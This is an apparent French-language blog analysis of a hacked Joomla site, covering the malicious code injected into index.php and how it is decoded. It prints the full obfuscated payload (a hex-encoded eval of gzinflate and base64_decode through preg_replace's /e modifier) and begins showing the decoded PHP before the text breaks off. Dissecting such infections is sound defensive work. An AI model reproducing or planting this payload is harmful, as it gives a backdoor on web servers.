Analyse d’une attaque / d’un Hack Joomla
1) Joomla est hacké 2) analyse des sources Dans l’index.php preg_replace(« /.+/e », »\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’nVVrb9owFP1Mf4Ur0TqZIJRp2qQixFBJW6QWmAl7iKLIBEOshThywtSH+O+7jkOgPNqx9kNj33N9zzm+vp0xOTfM2sl0EXoJFyGapRvo5aRQpEPMIzxC6U8dIgmPFDaNLGSQhdLIQAY65NExlRMewjYOhWQTLjHs86kRJzISsZEnlxAOhIiweVqvT2kQM/OFeb4wcM7Fo0HAJkNs5TkWpKn1qgqssVlbqvPRboEcZtazEuj8HO3AsJgJnENS7Ufx5eEfGvAJUqiUTEGyZCFDkL08UjlLPH99jkrwRZxoo+voa9Ht2+S7TYZY/3U7zXsbj7IroTMWauwr6K3j9NwBrNzmjd1xcrhkUyaZhIRdOLGvbWITjWXjQGgC2E+S6LJSiRlYJmYBsxZxhUbi2a+E1F9wK/KjxoQmtI6tMY3Z508uCz0xYUbMJAeTnhm4YOpG8VVdD8S6POSJkZYxdaucQvT4e4iF95slaMJjOoa+2XMXulzMEhFBQc8voasBuev2HBDsDEjHIc1OH5SXqorIYbTTvre7A6eEqhdmDSkxuRb2yDwF1kqQknK8EjaPkickWbwI4Pb39dS62z04pVzW0XJ54yz0kqVkCZFkM3dOocMMfPYwjB5GhvWhYT4MK/B5xjE8l1IRUkzNl0FTG2o9rI6UmAJ75Ikun5IEXbDSm8uTzQGSjgl1hqrKQ5dKSZ+MdYcR+77r2G6z1SLKAx3G1Y9frAv4reLUFnj7aeub5so+OCuGyzC2WvWne90lP5qkZbfUFx5lCZlh6D24krZMZe0kvCK6ozIdebnMPdT6wEUNnJ1dVIenJEKsiRZjz2dztnpesRqXS8TUtNoTxvoKisoc2NtryW2376jajW3xOoAu0eFBsk8Msb8N7L7jDkg7s1eNg0IRmhgoZAQtDIMBRrMiZh3IraWJWtz+Qq02sa8ct39F2r3NgoW82tvg2oFWycHAhvxy+w5pd27WvZIeboHFDWy9m7TqmDdkbPtV+C+z3iyRUYOJtK4R0cTf71EKq73DQ6VvNd+/sO7d9uD77lr9e37l345tG48MDlYv6i8=’\x29\x29\x29\x3B », ». »); 3) Traduction print gzinflate(base64_decode(« nVVrb9owFP1Mf4Ur0TqZIJRp2qQixFBJW6QWmAl7iKLIBEOshThywtSH+O+7jkOgPNqx9kNj33N9zzm+vp0xOTfM2sl0EXoJFyGapRvo5aRQpEPMIzxC6U8dIgmPFDaNLGSQhdLIQAY65NExlRMewjYOhWQTLjHs86kRJzISsZEnlxAOhIiweVqvT2kQM/OFeb4wcM7Fo0HAJkNs5TkWpKn1qgqssVlbqvPRboEcZtazEuj8HO3AsJgJnENS7Ufx5eEfGvAJUqiUTEGyZCFDkL08UjlLPH99jkrwRZxoo+voa9Ht2+S7TYZY/3U7zXsbj7IroTMWauwr6K3j9NwBrNzmjd1xcrhkUyaZhIRdOLGvbWITjWXjQGgC2E+S6LJSiRlYJmYBsxZxhUbi2a+E1F9wK/KjxoQmtI6tMY3Z508uCz0xYUbMJAeTnhm4YOpG8VVdD8S6POSJkZYxdaucQvT4e4iF95slaMJjOoa+2XMXulzMEhFBQc8voasBuev2HBDsDEjHIc1OH5SXqorIYbTTvre7A6eEqhdmDSkxuRb2yDwF1kqQknK8EjaPkickWbwI4Pb39dS62z04pVzW0XJ54yz0kqVkCZFkM3dOocMMfPYwjB5GhvWhYT4MK/B5xjE8l1IRUkzNl0FTG2o9rI6UmAJ75Ikun5IEXbDSm8uTzQGSjgl1hqrKQ5dKSZ+MdYcR+77r2G6z1SLKAx3G1Y9frAv4reLUFnj7aeub5so+OCuGyzC2WvWne90lP5qkZbfUFx5lCZlh6D24krZMZe0kvCK6ozIdebnMPdT6wEUNnJ1dVIenJEKsiRZjz2dztnpesRqXS8TUtNoTxvoKisoc2NtryW2376jajW3xOoAu0eFBsk8Msb8N7L7jDkg7s1eNg0IRmhgoZAQtDIMBRrMiZh3IraWJWtz+Qq02sa8ct39F2r3NgoW82tvg2oFWycHAhvxy+w5pd27WvZIeboHFDWy9m7TqmDdkbPtV+C+z3iyRUYOJtK4R0cTf71EKq73DQ6VvNd+/sO7d9uD77lr9e37l345tG48MDlYv6i8= »)); En php de base maintenant germ(); function germ() { $a[‘ip’] =…